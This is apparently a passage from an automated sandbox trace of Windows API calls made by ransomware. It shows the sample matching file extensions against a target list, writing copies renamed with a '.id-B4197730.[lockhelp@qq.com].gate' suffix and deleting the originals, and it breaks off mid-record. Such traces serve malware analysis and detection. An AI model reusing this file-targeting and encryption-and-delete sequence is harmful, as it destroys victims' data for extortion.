[0279.634] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.634] lstrlenW (lpString=".xls") returned 4 [0279.634] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.634] lstrlenW (lpString=".xlsx") returned 5 [0279.634] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.634] lstrlenW (lpString=".ppt") returned 4 [0279.634] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.634] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0279.634] lstrlenW (lpString=".zip") returned 4 [0279.634] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.634] lstrlenW (lpString=".rar") returned 4 [0279.634] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.634] lstrlenW (lpString=".bz2") returned 4 [0279.634] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.634] lstrlenW (lpString=".7z") returned 3 [0279.634] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.634] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0279.634] lstrlenW (lpString=".dbf") returned 4 [0279.635] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.635] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0279.635] lstrlenW (lpString=".1cd") returned 4 [0279.635] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.635] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0279.635] lstrlenW (lpString=".jpg") returned 4 [0279.635] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.635] lstrcmpiW (lpString1=".sys", lpString2=".gate") returned 1 [0279.635] lstrlenW (lpString="pagefile.sys") returned 12 [0279.635] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.635] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0279.635] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0279.635] lstrlenW (lpString=".doc") returned 4 [0279.635] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0279.635] lstrlenW (lpString=".docx") returned 5 [0279.635] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0279.635] lstrlenW (lpString=".pdf") returned 4 [0279.635] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0279.635] lstrlenW (lpString=".xls") returned 4 [0279.635] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0279.635] lstrlenW (lpString=".xlsx") returned 5 [0279.635] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0279.635] lstrlenW (lpString=".ppt") returned 4 [0279.635] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0279.636] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0279.636] lstrlenW (lpString=".zip") returned 4 [0279.636] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0279.636] lstrlenW (lpString=".rar") returned 4 [0279.636] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0279.636] lstrlenW (lpString=".bz2") returned 4 [0279.636] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0279.636] lstrlenW (lpString=".7z") returned 3 [0279.636] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0279.636] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0279.636] lstrlenW (lpString=".dbf") returned 4 [0279.636] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0279.636] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0279.636] lstrlenW (lpString=".1cd") returned 4 [0279.636] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0279.636] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0279.636] lstrlenW (lpString=".jpg") returned 4 [0279.636] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0279.636] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0279.636] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0279.636] lstrlenW (lpString=".doc") returned 4 [0279.636] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0279.636] lstrlenW (lpString=".docx") returned 5 [0279.636] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0279.636] lstrlenW (lpString=".pdf") returned 4 [0279.636] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0279.636] lstrlenW (lpString=".xls") returned 4 [0279.636] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0279.636] lstrlenW (lpString=".xlsx") returned 5 [0279.636] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0279.636] lstrlenW (lpString=".ppt") returned 4 [0279.636] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0279.636] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0279.636] lstrlenW (lpString=".zip") returned 4 [0279.636] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0279.637] lstrlenW (lpString=".rar") returned 4 [0279.637] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0279.637] lstrlenW (lpString=".bz2") returned 4 [0279.637] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0279.637] lstrlenW (lpString=".7z") returned 3 [0279.637] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0279.637] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0279.637] lstrlenW (lpString=".dbf") returned 4 [0279.637] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0279.637] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0279.637] lstrlenW (lpString=".1cd") returned 4 [0279.637] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0279.637] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0279.637] lstrlenW (lpString=".jpg") returned 4 [0279.637] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0279.637] lstrcmpiW (lpString1=".OLB", lpString2=".gate") returned 1 [0279.637] lstrlenW (lpString="MSADDNDR.OLB") returned 12 [0279.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.647] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=15984) returned 1 [0279.647] CloseHandle (hObject=0x390) returned 1 [0279.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0279.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.648] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.648] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0279.657] GetLastError () returned 0x0 [0279.657] ReadFile (in: hFile=0x390, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x3e70, lpOverlapped=0x0) returned 1 [0279.710] WriteFile (in: hFile=0x3f8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x3e80, lpOverlapped=0x0) returned 1 [0279.711] ReadFile (in: hFile=0x390, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0279.711] WriteFile (in: hFile=0x3f8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0279.711] SetEndOfFile (hFile=0x3f8) returned 1 [0279.712] CloseHandle (hObject=0x3f8) returned 1 [0279.712] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.712] SetEndOfFile (hFile=0x390) returned 1 [0279.715] CloseHandle (hObject=0x390) returned 1 [0279.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0279.715] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0279.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0279.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0279.716] lstrlenW (lpString=".doc") returned 4 [0279.716] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0279.716] lstrlenW (lpString=".docx") returned 5 [0279.716] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0279.716] lstrlenW (lpString=".pdf") returned 4 [0279.716] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0279.716] lstrlenW (lpString=".xls") returned 4 [0279.716] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0279.716] lstrlenW (lpString=".xlsx") returned 5 [0279.716] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0279.716] lstrlenW (lpString=".ppt") returned 4 [0279.716] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0279.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0279.716] lstrlenW (lpString=".zip") returned 4 [0279.716] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0279.716] lstrlenW (lpString=".rar") returned 4 [0279.716] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0279.716] lstrlenW (lpString=".bz2") returned 4 [0279.716] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0279.716] lstrlenW (lpString=".7z") returned 3 [0279.717] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0279.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0279.717] lstrlenW (lpString=".dbf") returned 4 [0279.717] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0279.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0279.717] lstrlenW (lpString=".1cd") returned 4 [0279.717] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0279.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0279.717] lstrlenW (lpString=".jpg") returned 4 [0279.717] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0279.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0279.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0279.717] lstrlenW (lpString=".doc") returned 4 [0279.717] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0279.717] lstrlenW (lpString=".docx") returned 5 [0279.717] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0279.717] lstrlenW (lpString=".pdf") returned 4 [0279.717] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0279.717] lstrlenW (lpString=".xls") returned 4 [0279.717] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0279.717] lstrlenW (lpString=".xlsx") returned 5 [0279.717] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0279.717] lstrlenW (lpString=".ppt") returned 4 [0279.717] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0279.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0279.717] lstrlenW (lpString=".zip") returned 4 [0279.717] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0279.717] lstrlenW (lpString=".rar") returned 4 [0279.717] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0279.717] lstrlenW (lpString=".bz2") returned 4 [0279.717] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0279.717] lstrlenW (lpString=".7z") returned 3 [0279.717] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0279.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0279.718] lstrlenW (lpString=".dbf") returned 4 [0279.718] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0279.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0279.718] lstrlenW (lpString=".1cd") returned 4 [0279.718] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0279.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0279.718] lstrlenW (lpString=".jpg") returned 4 [0279.718] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0279.718] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0279.718] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0279.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.719] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=21184) returned 1 [0279.719] CloseHandle (hObject=0x390) returned 1 [0279.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0279.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0279.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0279.719] lstrlenW (lpString=".doc") returned 4 [0279.719] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.719] lstrlenW (lpString=".docx") returned 5 [0279.719] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.719] lstrlenW (lpString=".pdf") returned 4 [0279.719] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.719] lstrlenW (lpString=".xls") returned 4 [0279.719] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.719] lstrlenW (lpString=".xlsx") returned 5 [0279.720] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.720] lstrlenW (lpString=".ppt") returned 4 [0279.720] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0279.720] lstrlenW (lpString=".zip") returned 4 [0279.720] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.720] lstrlenW (lpString=".rar") returned 4 [0279.720] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.720] lstrlenW (lpString=".bz2") returned 4 [0279.720] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.720] lstrlenW (lpString=".7z") returned 3 [0279.720] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0279.720] lstrlenW (lpString=".dbf") returned 4 [0279.720] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0279.720] lstrlenW (lpString=".1cd") returned 4 [0279.720] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0279.720] lstrlenW (lpString=".jpg") returned 4 [0279.720] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0279.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0279.720] lstrlenW (lpString=".doc") returned 4 [0279.720] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.720] lstrlenW (lpString=".docx") returned 5 [0279.720] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.720] lstrlenW (lpString=".pdf") returned 4 [0279.720] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.720] lstrlenW (lpString=".xls") returned 4 [0279.720] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.720] lstrlenW (lpString=".xlsx") returned 5 [0279.720] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.720] lstrlenW (lpString=".ppt") returned 4 [0279.721] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0279.721] lstrlenW (lpString=".zip") returned 4 [0279.721] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.721] lstrlenW (lpString=".rar") returned 4 [0279.721] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.721] lstrlenW (lpString=".bz2") returned 4 [0279.721] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.721] lstrlenW (lpString=".7z") returned 3 [0279.721] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0279.721] lstrlenW (lpString=".dbf") returned 4 [0279.721] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0279.721] lstrlenW (lpString=".1cd") returned 4 [0279.721] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0279.721] lstrlenW (lpString=".jpg") returned 4 [0279.721] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.721] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0279.721] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0279.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.721] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=19136) returned 1 [0279.721] CloseHandle (hObject=0x390) returned 1 [0279.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0279.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0279.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0279.722] lstrlenW (lpString=".doc") returned 4 [0279.722] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.722] lstrlenW (lpString=".docx") returned 5 [0279.722] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0279.722] lstrlenW (lpString=".pdf") returned 4 [0279.722] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.722] lstrlenW (lpString=".xls") returned 4 [0279.722] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.722] lstrlenW (lpString=".xlsx") returned 5 [0279.722] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0279.722] lstrlenW (lpString=".ppt") returned 4 [0279.722] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0279.722] lstrlenW (lpString=".zip") returned 4 [0279.722] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.722] lstrlenW (lpString=".rar") returned 4 [0279.722] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.722] lstrlenW (lpString=".bz2") returned 4 [0279.722] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.722] lstrlenW (lpString=".7z") returned 3 [0279.722] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0279.723] lstrlenW (lpString=".dbf") returned 4 [0279.723] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0279.723] lstrlenW (lpString=".1cd") returned 4 [0279.723] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0279.723] lstrlenW (lpString=".jpg") returned 4 [0279.723] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0279.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0279.723] lstrlenW (lpString=".doc") returned 4 [0279.723] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.723] lstrlenW (lpString=".docx") returned 5 [0279.723] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0279.723] lstrlenW (lpString=".pdf") returned 4 [0279.723] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.723] lstrlenW (lpString=".xls") returned 4 [0279.723] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.723] lstrlenW (lpString=".xlsx") returned 5 [0279.723] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0279.723] lstrlenW (lpString=".ppt") returned 4 [0279.723] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0279.723] lstrlenW (lpString=".zip") returned 4 [0279.723] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.723] lstrlenW (lpString=".rar") returned 4 [0279.723] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.723] lstrlenW (lpString=".bz2") returned 4 [0279.723] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.723] lstrlenW (lpString=".7z") returned 3 [0279.723] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0279.723] lstrlenW (lpString=".dbf") returned 4 [0279.723] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0279.724] lstrlenW (lpString=".1cd") returned 4 [0279.724] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0279.724] lstrlenW (lpString=".jpg") returned 4 [0279.724] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.724] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0279.724] 